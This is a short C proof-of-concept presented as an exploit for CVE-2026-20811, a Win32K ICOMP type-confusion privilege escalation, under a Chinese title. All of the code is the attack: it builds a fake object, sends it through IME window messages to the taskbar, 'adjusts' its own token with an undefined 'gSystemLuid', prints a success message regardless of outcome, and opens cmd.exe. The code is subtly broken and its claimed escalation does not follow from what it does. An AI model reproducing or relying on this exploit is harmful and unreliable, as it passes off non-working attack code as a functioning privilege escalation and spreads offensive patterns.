CVE-2026-20811 Windows Win32K ICOMP类型混淆本地权限提升漏洞

// CVE-2026-20811 Type Confusion PoC (Conceptual) // Target: Windows Win32K ICOMP Component // Note: This is a conceptual demonstration for security research #include <windows.h> #include <winuser.h> // Define malicious object structure for type confusion typedef struct _MALICIOUS_OBJECT { DWORD_PTR vtable; // Fake vtable pointer DWORD objectType; // Manipulated type field PVOID kernelPtr; // Kernel pointer to corrupt } MALICIOUS_OBJECT, *PMALICIOUS_OBJECT; // Trigger type confusion via window message manipulation BOOL TriggerTypeConfusion(HWND hwndTarget) { MALICIOUS_OBJECT fakeObj = {0}; // Step 1: Create fake object with manipulated type fakeObj.objectType = 0x1337; // Intended to confuse with legitimate type fakeObj.vtable = (DWORD_PTR)0xFFFF0000; // Controlled vtable // Step 2: Send specially crafted message to trigger ICOMP processing // This causes ICOMP to misinterpret object type SendMessage(hwndTarget, WM_IME_SELECT, (WPARAM)TRUE, (LPARAM)&fakeObj); // Step 3: Exploit type confusion for privilege escalation // Trigger kernel callback through confused pointer PostMessage(hwndTarget, WM_IME_COMPOSITION, 0, 0); return TRUE; } // Main exploitation routine int main() { HANDLE hToken = NULL; TOKEN_PRIVILEGES tp = {0}; printf("[*] CVE-2026-20811 Win32K ICOMP Type Confusion Exploit\n"); printf("[*] Target: Windows Win32K.sys ICOMP Component\n"); // Find vulnerable window HWND hwnd = FindWindow("Shell_TrayWnd", NULL); if (hwnd) { TriggerTypeConfusion(hwnd); } // If exploitation successful, token manipulation for privilege escalation if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { tp.PrivilegeCount = 1; tp.Privileges[0].Luid = gSystemLuid; // System LUID tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, 0); printf("[+] Privilege escalation completed\n"); } system("cmd.exe"); return 0; }